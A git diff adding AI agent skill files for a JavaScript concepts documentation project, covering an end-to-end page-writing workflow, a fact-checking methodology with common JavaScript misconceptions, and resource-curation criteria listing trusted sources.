+- [ ] Score 24+ out of 27 (90%+)
+- [ ] Title optimized
+- [ ] Meta description optimized
+- [ ] Keywords placed naturally
+- [ ] Featured snippet optimized
+- [ ] Internal links complete
+
+---
+
+## Complete Workflow Checklist
+
+Use this master checklist to track progress through all phases.
+
+```markdown
+# Concept Workflow: [Concept Name]
+
+**Started:** YYYY-MM-DD
+**Target Category:** {category}
+**File Path:** `/docs/concepts/{concept-name}.mdx`
+**Test Path:** `/tests/{category}/{concept-name}/`
+
+---
+
+## Phase 1: Resource Curation
+- [ ] MDN references found (2-4)
+- [ ] Articles found (4-6)
+- [ ] Videos found (3-4)
+- [ ] All links verified working
+- [ ] Descriptions written (specific, 2 sentences)
+- [ ] Resources formatted as Cards
+
+**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
+
+---
+
+## Phase 2: Concept Writing
+- [ ] Frontmatter complete
+- [ ] Opening hook written
+- [ ] Opening code example added
+- [ ] "What you'll learn" box added
+- [ ] Main content sections written
+- [ ] Key Takeaways added
+- [ ] Test Your Knowledge added
+- [ ] Related Concepts added
+- [ ] Resources pasted from Phase 1
+- [ ] Added to docs.json (if new)
+
+**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
+
+---
+
+## Phase 3: Test Writing
+- [ ] Code examples extracted and categorized
+- [ ] Test file created
+- [ ] DOM test file created (if needed)
+- [ ] All testable examples have tests
+- [ ] Source line references added
+- [ ] Tests run and passing
+
+**Test Results:** X passing, X failing
+
+**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
+
+---
+
+## Phase 4: Fact Checking
+- [ ] All tests passing
+- [ ] Code examples verified accurate
+- [ ] MDN links checked (X/X valid)
+- [ ] External resources checked (X/X valid)
+- [ ] Technical claims audited
+- [ ] No misconceptions found
+- [ ] Issues fixed
+
+**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
+
+---
+
+## Phase 5: SEO Review
+- [ ] Title tag optimized (50-60 chars)
+- [ ] Meta description optimized (150-160 chars)
+- [ ] Keywords placed correctly
+- [ ] Content structure verified
+- [ ] Featured snippet optimized
+- [ ] Internal links complete
+
+**SEO Score:** X/27 (X%)
+
+**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
+
+---
+
+## Final Status
+
+**All Phases Complete:** ⬜ No | ✅ Yes
+**Ready to Publish:** ⬜ No | ✅ Yes
+**Completed:** YYYY-MM-DD
+```
+
+---
+
+## Execution Instructions
+
+When executing this workflow, follow these steps:
+
+### Step 1: Initialize
+
+```markdown
+Starting concept workflow for: [CONCEPT NAME]
+
+Category: [fundamentals/functions-execution/web-platform/etc.]
+File: /docs/concepts/[concept-name].mdx
+Tests: /tests/[category]/[concept-name]/
+```
+
+### Step 2: Execute Each Phase
+
+For each phase:
+
+1. **Announce the phase:**
+ ```markdown
+ ## Phase X: [Phase Name]
+ Using skill: [skill-name]
+ ```
+
+2. **Load the skill** to get detailed instructions
+
+3. **Execute the phase** following the skill's methodology
+
+4. **Report completion:**
+ ```markdown
+ Phase X complete:
+ - [Deliverable 1]
+ - [Deliverable 2]
+ - Quality gates: ✅ All passed
+ ```
+
+5. **Move to next phase** only after quality gates pass
+
+### Step 3: Final Report
+
+After all phases complete:
+
+```markdown
+# Workflow Complete: [Concept Name]
+
+## Summary
+- **Concept Page:** `/docs/concepts/[concept-name].mdx`
+- **Test File:** `/tests/[category]/[concept-name]/[concept-name].test.js`
+- **Word Count:** X,XXX words
+- **Code Examples:** XX (XX tested)
+- **Resources:** X MDN, X articles, X videos
+
+## Quality Metrics
+- **Tests:** XX passing
+- **Fact Check:** ✅ All verified
+- **SEO Score:** XX/27 (XX%)
+
+## Files Created/Modified
+1. `/docs/concepts/[concept-name].mdx` (created)
+2. `/docs/docs.json` (updated navigation)
+3. `/tests/[category]/[concept-name]/[concept-name].test.js` (created)
+
+## Ready to Publish: ✅ Yes
+```
+
+---
+
+## Phase Dependencies
+
+Some phases can be partially parallelized, but the general flow should be:
+
+```
+Phase 1 (Resources) ──┐
+ ├──► Phase 2 (Writing) ──► Phase 3 (Tests) ──┐
+ │ │
+ │ ┌───────────────────────────────────┘
+ │ ▼
+ └──► Phase 4 (Fact Check) ──► Phase 5 (SEO)
+```
+
+- **Phase 1 before Phase 2:** Resources inform what to write
+- **Phase 2 before Phase 3:** Need content before writing tests
+- **Phase 3 before Phase 4:** Tests are part of fact-checking
+- **Phase 4 before Phase 5:** Fix accuracy issues before SEO polish
+
+---
+
+## Skill Reference
+
+| Phase | Skill | Purpose |
+|-------|-------|---------|
+| 1 | `resource-curator` | Find and evaluate external resources |
+| 2 | `write-concept` | Write the documentation page |
+| 3 | `test-writer` | Generate tests for code examples |
+| 4 | `fact-check` | Verify technical accuracy |
+| 5 | `seo-review` | Optimize for search visibility |
+
+Each skill has detailed instructions in its own `SKILL.md` file. Load the appropriate skill at each phase for comprehensive guidance.
+
+---
+
+## Time Estimates
+
+| Phase | Estimated Time | Notes |
+|-------|---------------|-------|
+| Phase 1: Resources | 15-30 min | Depends on availability of quality resources |
+| Phase 2: Writing | 1-3 hours | Depends on concept complexity |
+| Phase 3: Tests | 30-60 min | Depends on number of code examples |
+| Phase 4: Fact Check | 15-30 min | Most automated via tests |
+| Phase 5: SEO | 15-30 min | Mostly checklist verification |
+| **Total** | **2-5 hours** | For a complete concept page |
+
+---
+
+## Quick Start
+
+To start the workflow for a new concept:
+
+```
+1. Determine the concept name and category
+2. Load this skill (concept-workflow)
+3. Execute Phase 1: Load resource-curator, find resources
+4. Execute Phase 2: Load write-concept, write the page
+5. Execute Phase 3: Load test-writer, create tests
+6. Execute Phase 4: Load fact-check, verify accuracy
+7. Execute Phase 5: Load seo-review, optimize SEO
+8. Generate final report
+9. Commit changes
+```
+
+**Example prompt to start:**
+
+> "Create a complete concept page for 'hoisting' using the concept-workflow skill"
+
+This will trigger the full end-to-end workflow, creating a complete, tested, verified, and SEO-optimized concept page.
diff --git a/.opencode/skill/fact-check/SKILL.md b/.opencode/skill/fact-check/SKILL.md
new file mode 100644
index 00000000..e9fef411
--- /dev/null
+++ b/.opencode/skill/fact-check/SKILL.md
@@ -0,0 +1,649 @@
+---
+name: fact-check
+description: Verify technical accuracy of JavaScript concept pages by checking code examples, MDN/ECMAScript compliance, and external resources to prevent misinformation
+---
+
+# Skill: JavaScript Fact Checker
+
+Use this skill to verify the technical accuracy of concept documentation pages for the 33 JavaScript Concepts project. This ensures we're not spreading misinformation about JavaScript.
+
+## When to Use
+
+- Before publishing a new concept page
+- After significant edits to existing content
+- When reviewing community contributions
+- When updating pages with new JavaScript features
+- Periodic accuracy audits of existing content
+
+## What We're Protecting Against
+
+- Incorrect JavaScript behavior claims
+- Outdated information (pre-ES6 patterns presented as current)
+- Code examples that don't produce stated outputs
+- Broken or misleading external resource links
+- Common misconceptions stated as fact
+- Browser-specific behavior presented as universal
+- Inaccurate API descriptions
+
+---
+
+## Fact-Checking Methodology
+
+Follow these five phases in order for a complete fact check.
+
+### Phase 1: Code Example Verification
+
+Every code example in the concept page must be verified for accuracy.
+
+#### Step-by-Step Process
+
+1. **Identify all code blocks** in the document
+2. **For each code block:**
+ - Read the code and any output comments (e.g., `// "string"`)
+ - Mentally execute the code or test in a JavaScript environment
+ - Verify the output matches what's stated in comments
+ - Check that variable names and logic are correct
+
+3. **For "wrong" examples (marked with ❌):**
+ - Verify they actually produce the wrong/unexpected behavior
+ - Confirm the explanation of why it's wrong is accurate
+
+4. **For "correct" examples (marked with ✓):**
+ - Verify they work as stated
+ - Confirm they follow current best practices
+
+5. **Run project tests:**
+ ```bash
+ # Run all tests
+ npm test
+
+ # Run tests for a specific concept
+ npm test -- tests/fundamentals/call-stack/
+ npm test -- tests/fundamentals/primitive-types/
+ ```
+
+6. **Check test coverage:**
+ - Look in `/tests/{category}/{concept-name}/`
+ - Verify tests exist for major code examples
+ - Flag examples without test coverage
+
+#### Code Verification Checklist
+
+| Check | How to Verify |
+|-------|---------------|
+| `console.log` outputs match comments | Run code or trace mentally |
+| Variables are correctly named/used | Read through logic |
+| Functions return expected values | Trace execution |
+| Async code resolves in stated order | Understand event loop |
+| Error examples actually throw | Test in try/catch |
+| Array/object methods return correct types | Check MDN |
+| `typeof` results are accurate | Test common cases |
+| Strict mode behavior noted if relevant | Check if example depends on it |
+
+#### Common Output Mistakes to Catch
+
+```javascript
+// Watch for these common mistakes:
+
+// 1. typeof null
+typeof null // "object" (not "null"!)
+
+// 2. Array methods that return new arrays vs mutate
+const arr = [1, 2, 3]
+arr.push(4) // Returns 4 (length), not the array!
+arr.map(x => x*2) // Returns NEW array, doesn't mutate
+
+// 3. Promise resolution order
+Promise.resolve().then(() => console.log('micro'))
+setTimeout(() => console.log('macro'), 0)
+console.log('sync')
+// Output: sync, micro, macro (NOT sync, macro, micro)
+
+// 4. Comparison results
+[] == false // true
+[] === false // false
+![] // false (empty array is truthy!)
+
+// 5. this binding
+const obj = {
+ name: 'Alice',
+ greet: () => console.log(this.name) // undefined! Arrow has no this
+}
+```
+
+---
+
+### Phase 2: MDN Documentation Verification
+
+All claims about JavaScript APIs, methods, and behavior should align with MDN documentation.
+
+#### Step-by-Step Process
+
+1. **Check all MDN links:**
+ - Click each MDN link in the document
+ - Verify the link returns 200 (not 404)
+ - Confirm the linked page matches what's being referenced
+
+2. **Verify API descriptions:**
+ - Compare method signatures with MDN
+ - Check parameter names and types
+ - Verify return types
+ - Confirm edge case behavior
+
+3. **Check for deprecated APIs:**
+ - Look for deprecation warnings on MDN
+ - Flag any deprecated methods being taught as current
+
+4. **Verify browser compatibility claims:**
+ - Cross-reference with MDN compatibility tables
+ - Check Can I Use for broader support data
+
+#### MDN Link Patterns
+
+| Content Type | MDN URL Pattern |
+|--------------|-----------------|
+| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` |
+| Global Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` |
+| Statements | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/{Statement}` |
+| Operators | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/{Operator}` |
+| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` |
+
+#### What to Verify Against MDN
+
+| Claim Type | What to Check |
+|------------|---------------|
+| Method signature | Parameters, optional params, return type |
+| Return value | Exact type and possible values |
+| Side effects | Does it mutate? What does it affect? |
+| Exceptions | What errors can it throw? |
+| Browser support | Compatibility tables |
+| Deprecation status | Any deprecation warnings? |
+
+---
+
+### Phase 3: ECMAScript Specification Compliance
+
+For nuanced JavaScript behavior, verify against the ECMAScript specification.
+
+#### When to Check the Spec
+
+- Edge cases and unusual behavior
+- Claims about "how JavaScript works internally"
+- Type coercion rules
+- Operator precedence
+- Execution order guarantees
+- Claims using words like "always", "never", "guaranteed"
+
+#### How to Navigate the Spec
+
+The ECMAScript specification is at: https://tc39.es/ecma262/
+
+| Concept | Spec Section |
+|---------|--------------|
+| Type coercion | Abstract Operations (7.1) |
+| Equality | Abstract Equality Comparison (7.2.14), Strict Equality (7.2.15) |
+| typeof | The typeof Operator (13.5.3) |
+| Objects | Ordinary and Exotic Objects' Behaviours (10) |
+| Functions | ECMAScript Function Objects (10.2) |
+| this binding | ResolveThisBinding (9.4.4) |
+| Promises | Promise Objects (27.2) |
+| Iteration | Iteration (27.1) |
+
+#### Spec Verification Examples
+
+```javascript
+// Claim: "typeof null returns 'object' due to a bug"
+// Spec says: typeof null → "object" (Table 41)
+// Historical context: This is a known quirk from JS 1.0
+// Verdict: ✓ Correct, though calling it a "bug" is slightly informal
+
+// Claim: "Promises always resolve asynchronously"
+// Spec says: Promise reaction jobs are enqueued (27.2.1.3.2)
+// Verdict: ✓ Correct - even resolved promises schedule microtasks
+
+// Claim: "=== is faster than =="
+// Spec says: Nothing about performance
+// Verdict: ⚠️ Needs nuance - this is implementation-dependent
+```
+
+---
+
+### Phase 4: External Resource Verification
+
+All external links (articles, videos, courses) must be verified.
+
+#### Step-by-Step Process
+
+1. **Check link accessibility:**
+ - Click each external link
+ - Verify it loads (not 404, not paywalled)
+ - Note any redirects to different URLs
+
+2. **Verify content accuracy:**
+ - Skim the resource for obvious errors
+ - Check it's JavaScript-focused (not C#, Python, Java)
+ - Verify it's not teaching anti-patterns
+
+3. **Check publication date:**
+ - For time-sensitive topics (async, modules, etc.), prefer recent content
+ - Flag resources from before 2015 for ES6+ topics
+
+4. **Verify description accuracy:**
+ - Does our description match what the resource actually covers?
+ - Is the description specific (not generic)?
+
+#### External Resource Checklist
+
+| Check | Pass Criteria |
+|-------|---------------|
+| Link works | Returns 200, content loads |
+| Not paywalled | Free to access (or clearly marked) |
+| JavaScript-focused | Not primarily about other languages |
+| Not outdated | Post-2015 for modern JS topics |
+| Accurate description | Our description matches actual content |
+| No anti-patterns | Doesn't teach bad practices |
+| Reputable source | From known/trusted creators |
+
+#### Red Flags in External Resources
+
+- Uses `var` everywhere for ES6+ topics
+- Uses callbacks for content about Promises/async
+- Teaches jQuery as modern DOM manipulation
+- Contains factual errors about JavaScript
+- Video is >2 hours without timestamp links
+- Content is primarily about another language
+- Uses deprecated APIs without noting deprecation
+
+---
+
+### Phase 5: Technical Claims Audit
+
+Review all prose claims about JavaScript behavior.
+
+#### Claims That Need Verification
+
+| Claim Type | How to Verify |
+|------------|---------------|
+| Performance claims | Need benchmarks or caveats |
+| Browser behavior | Specify which browsers, check MDN |
+| Historical claims | Verify dates/versions |
+| "Always" or "never" statements | Check for exceptions |
+| Comparisons (X vs Y) | Verify both sides accurately |
+
+#### Red Flags in Technical Claims
+
+- "Always" or "never" without exceptions noted
+- Performance claims without benchmarks
+- Browser behavior claims without specifying browsers
+- Comparisons that oversimplify differences
+- Historical claims without dates
+- Claims about "how JavaScript works" without spec reference
+
+#### Examples of Claims to Verify
+
+```markdown
+❌ "async/await is always better than Promises"
+→ Verify: Not always - Promise.all() is better for parallel operations
+
+❌ "JavaScript is an interpreted language"
+→ Verify: Modern JS engines use JIT compilation
+
+❌ "Objects are passed by reference"
+→ Verify: Technically "passed by sharing" - the reference is passed by value
+
+❌ "=== is faster than =="
+→ Verify: Implementation-dependent, not guaranteed by spec
+
+✓ "JavaScript is single-threaded"
+→ Verify: Correct for the main thread (Web Workers are separate)
+
+✓ "Promises always resolve asynchronously"
+→ Verify: Correct per ECMAScript spec
+```
+
+---
+
+## Common JavaScript Misconceptions
+
+Watch for these misconceptions being stated as fact.
+
+### Type System Misconceptions
+
+| Misconception | Reality | How to Verify |
+|---------------|---------|---------------|
+| `typeof null === "object"` is intentional | It's a bug from JS 1.0 that can't be fixed for compatibility | Historical context, TC39 discussions |
+| JavaScript has no types | JS is dynamically typed, not untyped | ECMAScript spec defines types |
+| `==` is always wrong | `== null` checks both null and undefined, has valid uses | Many style guides allow this pattern |
+| `NaN === NaN` is false "by mistake" | It's intentional per IEEE 754 floating point spec | IEEE 754 standard |
+
+### Function Misconceptions
+
+| Misconception | Reality | How to Verify |
+|---------------|---------|---------------|
+| Arrow functions are just shorter syntax | They have no `this`, `arguments`, `super`, or `new.target` | MDN, ECMAScript spec |
+| `var` is hoisted to function scope with its value | Only declaration is hoisted, not initialization | Code test, MDN |
+| Closures are a special opt-in feature | All functions in JS are closures | ECMAScript spec |
+| IIFEs are obsolete | Still useful for one-time initialization | Modern codebases still use them |
+
+### Async Misconceptions
+
+| Misconception | Reality | How to Verify |
+|---------------|---------|---------------|
+| Promises run in parallel | JS is single-threaded; Promises are async, not parallel | Event loop explanation |
+| `async/await` is different from Promises | It's syntactic sugar over Promises | MDN, can await any thenable |
+| `setTimeout(fn, 0)` runs immediately | Runs after current execution + microtasks | Event loop, code test |
+| `await` pauses the entire program | Only pauses the async function, not the event loop | Code test |
+
+### Object Misconceptions
+
+| Misconception | Reality | How to Verify |
+|---------------|---------|---------------|
+| Objects are "passed by reference" | References are passed by value ("pass by sharing") | Reassignment test |
+| `const` makes objects immutable | `const` prevents reassignment, not mutation | Code test |
+| Everything in JavaScript is an object | Primitives are not objects (though they have wrappers) | `typeof` tests, MDN |
+| `Object.freeze()` creates deep immutability | It's shallow - nested objects can still be mutated | Code test |
+
+### Performance Misconceptions
+
+| Misconception | Reality | How to Verify |
+|---------------|---------|---------------|
+| `===` is always faster than `==` | Implementation-dependent, not spec-guaranteed | Benchmarks vary |
+| `for` loops are faster than `forEach` | Modern engines optimize both; depends on use case | Benchmark |
+| Arrow functions are faster | No performance difference, just different behavior | Benchmark |
+| Avoiding DOM manipulation is always faster | Sometimes batch mutations are slower than individual | Depends on browser, use case |
+
+---
+
+## Test Integration
+
+Running the project's test suite is a key part of fact-checking.
+
+### Test Commands
+
+```bash
+# Run all tests
+npm test
+
+# Run tests in watch mode
+npm run test:watch
+
+# Run tests with coverage
+npm run test:coverage
+
+# Run tests for specific concept
+npm test -- tests/fundamentals/call-stack/
+npm test -- tests/fundamentals/primitive-types/
+npm test -- tests/fundamentals/value-reference-types/
+npm test -- tests/fundamentals/type-coercion/
+npm test -- tests/fundamentals/equality-operators/
+npm test -- tests/fundamentals/scope-and-closures/
+```
+
+### Test Directory Structure
+
+```
+tests/
+├── fundamentals/ # Concepts 1-6
+│ ├── call-stack/
+│ ├── primitive-types/
+│ ├── value-reference-types/
+│ ├── type-coercion/
+│ ├── equality-operators/
+│ └── scope-and-closures/
+├── functions-execution/ # Concepts 7-8
+│ ├── event-loop/
+│ └── iife-modules/
+└── web-platform/ # Concepts 9-10
+ ├── dom/
+ └── http-fetch/
+```
+
+### When Tests Are Missing
+
+If a concept doesn't have tests:
+1. Flag this in the report as "needs test coverage"
+2. Manually verify code examples are correct
+3. Consider adding tests as a follow-up task
+
+---
+
+## Verification Resources
+
+### Primary Sources
+
+| Resource | URL | Use For |
+|----------|-----|---------|
+| MDN Web Docs | https://developer.mozilla.org | API docs, guides, compatibility |
+| ECMAScript Spec | https://tc39.es/ecma262 | Authoritative behavior |
+| TC39 Proposals | https://github.com/tc39/proposals | New features, stages |
+| Can I Use | https://caniuse.com | Browser compatibility |
+| Node.js Docs | https://nodejs.org/docs | Node-specific APIs |
+| V8 Blog | https://v8.dev/blog | Engine internals |
+
+### Project Resources
+
+| Resource | Path | Use For |
+|----------|------|---------|
+| Test Suite | `/tests/` | Verify code examples |
+| Concept Pages | `/docs/concepts/` | Current content |
+| Run Tests | `npm test` | Execute all tests |
+
+---
+
+## Fact Check Report Template
+
+Use this template to document your findings.
+
+```markdown
+# Fact Check Report: [Concept Name]
+
+**File:** `/docs/concepts/[slug].mdx`
+**Date:** YYYY-MM-DD
+**Reviewer:** [Name/Claude]
+**Overall Status:** ✅ Verified | ⚠️ Minor Issues | ❌ Major Issues
+
+---
+
+## Executive Summary
+
+[2-3 sentence summary of findings. State whether the page is accurate overall and highlight any critical issues.]
+
+**Tests Run:** Yes/No
+**Test Results:** X passing, Y failing
+**External Links Checked:** X/Y valid
+
+---
+
+## Phase 1: Code Example Verification
+
+| # | Description | Line | Status | Notes |
+|---|-------------|------|--------|-------|
+| 1 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |
+| 2 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |
+| 3 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |
+
+### Code Issues Found
+
+#### Issue 1: [Title]
+
+**Location:** Line XX
+**Severity:** Critical/Major/Minor
+**Current Code:**
+```javascript
+// The problematic code
+```
+**Problem:** [Explanation of what's wrong]
+**Correct Code:**
+```javascript
+// The corrected code
+```
+
+---
+
+## Phase 2: MDN/Specification Verification
+
+| Claim | Location | Source | Status | Notes |
+|-------|----------|--------|--------|-------|
+| [Claim made] | Line XX | MDN/Spec | ✅/⚠️/❌ | [Notes] |
+
+### MDN Link Status
+
+| Link Text | URL | Status |
+|-----------|-----|--------|
+| [Text] | [URL] | ✅ 200 / ❌ 404 |
+
+### Specification Discrepancies
+
+[If any claims don't match the ECMAScript spec, detail them here]
+
+---
+
+## Phase 3: External Resource Verification
+
+| Resource | Type | Link | Content | Notes |
+|----------|------|------|---------|-------|
+| [Title] | Article/Video | ✅/❌ | ✅/⚠️/❌ | [Notes] |
+
+### Broken Links
+
+1. **Line XX:** [URL] - 404 Not Found
+2. **Line YY:** [URL] - Domain expired
+
+### Content Concerns
+
+1. **[Resource name]:** [Concern - e.g., outdated, wrong language, anti-patterns]
+
+### Description Accuracy
+
+| Resource | Description Accurate? | Notes |
+|----------|----------------------|-------|
+| [Title] | ✅/❌ | [Notes] |
+
+---
+
+## Phase 4: Technical Claims Audit
+
+| Claim | Location | Verdict | Notes |
+|-------|----------|---------|-------|
+| "[Claim]" | Line XX | ✅/⚠️/❌ | [Notes] |
+
+### Claims Needing Revision
+
+1. **Line XX:** "[Current claim]"
+ - **Issue:** [What's wrong]
+ - **Suggested:** "[Revised claim]"
+
+---
+
+## Phase 5: Test Results
+
+**Test File:** `/tests/[category]/[concept]/[concept].test.js`
+**Tests Run:** XX
+**Passing:** XX
+**Failing:** XX
+
+### Failing Tests
+
+| Test Name | Expected | Actual | Related Doc Line |
+|-----------|----------|--------|------------------|
+| [Test] | [Expected] | [Actual] | Line XX |
+
+### Coverage Gaps
+
+Examples in documentation without corresponding tests:
+- [ ] Line XX: [Description of untested example]
+- [ ] Line YY: [Description of untested example]
+
+---
+
+## Issues Summary
+
+### Critical (Must Fix Before Publishing)
+
+1. **[Issue title]**
+ - Location: Line XX
+ - Problem: [Description]
+ - Fix: [How to fix]
+
+### Major (Should Fix)
+
+1. **[Issue title]**
+ - Location: Line XX
+ - Problem: [Description]
+ - Fix: [How to fix]
+
+### Minor (Nice to Have)
+
+1. **[Issue title]**
+ - Location: Line XX
+ - Suggestion: [Improvement]
+
+---
+
+## Recommendations
+
+1. **[Priority 1]:** [Specific actionable recommendation]
+2. **[Priority 2]:** [Specific actionable recommendation]
+3. **[Priority 3]:** [Specific actionable recommendation]
+
+---
+
+## Verification Checklist
+
+- [ ] All code examples verified for correct output
+- [ ] All MDN links checked and valid
+- [ ] API descriptions match MDN documentation
+- [ ] ECMAScript compliance verified (if applicable)
+- [ ] All external resource links accessible
+- [ ] Resource descriptions accurately represent content
+- [ ] No common JavaScript misconceptions found
+- [ ] Technical claims are accurate and nuanced
+- [ ] Project tests run and reviewed
+- [ ] Report complete and ready for handoff
+
+---
+
+## Sign-off
+
+**Verified by:** [Name/Claude]
+**Date:** YYYY-MM-DD
+**Recommendation:** ✅ Ready to publish | ⚠️ Fix issues first | ❌ Major revision needed
+```
+
+---
+
+## Quick Reference: Verification Commands
+
+```bash
+# Run all tests
+npm test
+
+# Run specific concept tests
+npm test -- tests/fundamentals/call-stack/
+
+# Check for broken links (if you have a link checker)
+# Install: npm install -g broken-link-checker
+# Run: blc https://developer.mozilla.org/... -ro
+
+# Quick JavaScript REPL for testing
+node
+> typeof null
+'object'
+> [1,2,3].map(x => x * 2)
+[ 2, 4, 6 ]
+```
+
+---
+
+## Summary
+
+When fact-checking a concept page:
+
+1. **Run tests first** — `npm test` catches code errors automatically
+2. **Verify every code example** — Output comments must match reality
+3. **Check all MDN links** — Broken links and incorrect descriptions hurt credibility
+4. **Verify external resources** — Must be accessible, accurate, and JavaScript-focused
+5. **Audit technical claims** — Watch for misconceptions and unsupported statements
+6. **Document everything** — Use the report template for consistent, thorough reviews
+
+**Remember:** Our readers trust us to teach them correct JavaScript. A single piece of misinformation can create confusion that takes years to unlearn. Take fact-checking seriously.
diff --git a/.opencode/skill/resource-curator/SKILL.md b/.opencode/skill/resource-curator/SKILL.md
new file mode 100644
index 00000000..55cc6f50
--- /dev/null
+++ b/.opencode/skill/resource-curator/SKILL.md
@@ -0,0 +1,620 @@
+---
+name: resource-curator
+description: Find, evaluate, and maintain high-quality external resources for JavaScript concept documentation, including auditing for broken and outdated links
+---
+
+# Skill: Resource Curator for Concept Pages
+
+Use this skill to find, evaluate, add, and maintain high-quality external resources (articles, videos, courses) for concept documentation pages. This includes auditing existing resources for broken links and outdated content.
+
+## When to Use
+
+- Adding resources to a new concept page
+- Refreshing resources on existing pages
+- Auditing for broken or outdated links
+- Reviewing community-contributed resources
+- Periodic link maintenance
+
+## Resource Curation Methodology
+
+Follow these five phases for comprehensive resource curation.
+
+### Phase 1: Audit Existing Resources
+
+Before adding new resources, audit what's already there:
+
+1. **Check link accessibility** — Does each link return 200?
+2. **Verify content accuracy** — Is the content still correct?
+3. **Check publication dates** — Is it too old for the topic?
+4. **Identify outdated content** — Does it use old syntax/patterns?
+5. **Review descriptions** — Are they specific or generic?
+
+### Phase 2: Identify Resource Gaps
+
+Compare current resources against targets:
+
+| Section | Target Count | Icon |
+|---------|--------------|------|
+| Reference | 2-4 MDN links | `book` |
+| Articles | 4-6 articles | `newspaper` |
+| Videos | 3-4 videos | `video` |
+| Courses | 1-3 (optional) | `graduation-cap` |
+| Books | 1-2 (optional) | `book` |
+
+Ask:
+- Are there enough resources for beginners AND advanced learners?
+- Is there visual content (diagrams, animations)?
+- Are official references (MDN) included?
+- Is there diversity in teaching styles?
+
+### Phase 3: Find New Resources
+
+Search trusted sources using targeted queries:
+
+**For Articles:**
+```
+[concept] javascript tutorial site:javascript.info
+[concept] javascript explained site:freecodecamp.org
+[concept] javascript site:dev.to
+[concept] javascript deep dive site:2ality.com
+[concept] javascript guide site:css-tricks.com
+```
+
+**For Videos:**
+```
+YouTube: [concept] javascript explained
+YouTube: [concept] javascript tutorial
+YouTube: jsconf [concept]
+YouTube: [concept] javascript fireship
+YouTube: [concept] javascript web dev simplified
+```
+
+**For MDN:**
+```
+[concept] site:developer.mozilla.org
+[API name] MDN
+```
+
+### Phase 4: Write Descriptions
+
+Every resource needs a specific, valuable description:
+
+**Formula:**
+```
+Sentence 1: What makes this resource unique OR what it specifically covers
+Sentence 2: Why reader should click (what they'll gain, who it's best for)
+```
+
+### Phase 5: Format and Organize
+
+- Use correct Card syntax with proper icons
+- Order resources logically (foundational first, advanced later)
+- Ensure consistent formatting
+
+---
+
+## Trusted Sources
+
+### Reference Sources (Priority Order)
+
+| Priority | Source | URL | Best For |
+|----------|--------|-----|----------|
+| 1 | MDN Web Docs | developer.mozilla.org | API docs, guides, compatibility |
+| 2 | ECMAScript Spec | tc39.es/ecma262 | Authoritative behavior |
+| 3 | Node.js Docs | nodejs.org/docs | Node-specific APIs |
+| 4 | Web.dev | web.dev | Performance, best practices |
+| 5 | Can I Use | caniuse.com | Browser compatibility |
+
+### Article Sources (Priority Order)
+
+| Priority | Source | Why Trusted |
+|----------|--------|-------------|
+| 1 | javascript.info | Comprehensive, exercises, well-maintained |
+| 2 | MDN Guides | Official, accurate, regularly updated |
+| 3 | freeCodeCamp | Beginner-friendly, practical |
+| 4 | 2ality (Dr. Axel) | Deep technical dives, spec-focused |
+| 5 | CSS-Tricks | DOM, visual topics, well-written |
+| 6 | dev.to (Lydia Hallie) | Visual explanations, animations |
+| 7 | LogRocket Blog | Practical tutorials, real-world |
+| 8 | Smashing Magazine | In-depth, well-researched |
+| 9 | Digital Ocean | Clear tutorials, examples |
+| 10 | Kent C. Dodds | Testing, React, best practices |
+
+### Video Creators (Priority Order)
+
+| Priority | Creator | Style | Best For |
+|----------|---------|-------|----------|
+| 1 | Fireship | Fast, modern, entertaining | Quick overviews, modern JS |
+| 2 | Web Dev Simplified | Clear, beginner-friendly | Beginners, fundamentals |
+| 3 | Fun Fun Function | Deep-dives, personality | Understanding "why" |
+| 4 | Traversy Media | Comprehensive crash courses | Full topic coverage |
+| 5 | JSConf/dotJS | Expert conference talks | Advanced, in-depth |
+| 6 | Academind | Thorough explanations | Complete understanding |
+| 7 | The Coding Train | Creative, visual | Visual learners |
+| 8 | Wes Bos | Practical, real-world | Applied learning |
+| 9 | The Net Ninja | Step-by-step tutorials | Following along |
+| 10 | Programming with Mosh | Professional, clear | Career-focused |
+
+### Course Sources
+
+| Source | Type | Notes |
+|--------|------|-------|
+| javascript.info | Free | Comprehensive, exercises |
+| Piccalilli | Free | Well-written, modern |
+| freeCodeCamp | Free | Project-based |
+| Frontend Masters | Paid | Expert instructors |
+| Egghead.io | Paid | Short, focused lessons |
+| Udemy (top-rated) | Paid | Check reviews carefully |
+| Codecademy | Freemium | Interactive |
+
+---
+
+## Quality Criteria
+
+### Must Have (Required)
+
+- [ ] **Link works** — Returns 200 (not 404, 301, 5xx)
+- [ ] **JavaScript-focused** — Not primarily about C#, Python, Java, etc.
+- [ ] **Technically accurate** — No factual errors or anti-patterns
+- [ ] **Accessible** — Free or has meaningful free preview
+
+### Should Have (Preferred)
+
+- [ ] **Recent enough** — See publication date guidelines below
+- [ ] **Reputable source** — From trusted sources list or well-known creator
+- [ ] **Unique perspective** — Not duplicate of existing resources
+- [ ] **Appropriate depth** — Matches concept complexity
+- [ ] **Good engagement** — Positive comments, high views (for videos)
+
+### Red Flags (Reject)
+
+| Red Flag | Why It Matters |
+|----------|----------------|
+| Uses `var` everywhere | Outdated for ES6+ topics |
+| Teaches anti-patterns | Harmful to learners |
+| Primarily other languages | Wrong focus |
+| Hard paywall (no preview) | Inaccessible |
+| Pre-2015 for modern topics | Likely outdated |
+| Low quality comments | Often indicates issues |
+| Factual errors | Spreads misinformation |
+| Clickbait title, thin content | Wastes reader time |
+
+---
+
+## Publication Date Guidelines
+
+| Topic Category | Minimum Year | Reasoning |
+|----------------|--------------|-----------|
+| **ES6+ Features** | 2015+ | ES6 released June 2015 |
+| **Promises** | 2015+ | Native Promises in ES6 |
+| **async/await** | 2017+ | ES2017 feature |
+| **ES Modules** | 2018+ | Stable browser support |
+| **Optional chaining (?.)** | 2020+ | ES2020 feature |
+| **Nullish coalescing (??)** | 2020+ | ES2020 feature |
+| **Top-level await** | 2022+ | ES2022 feature |
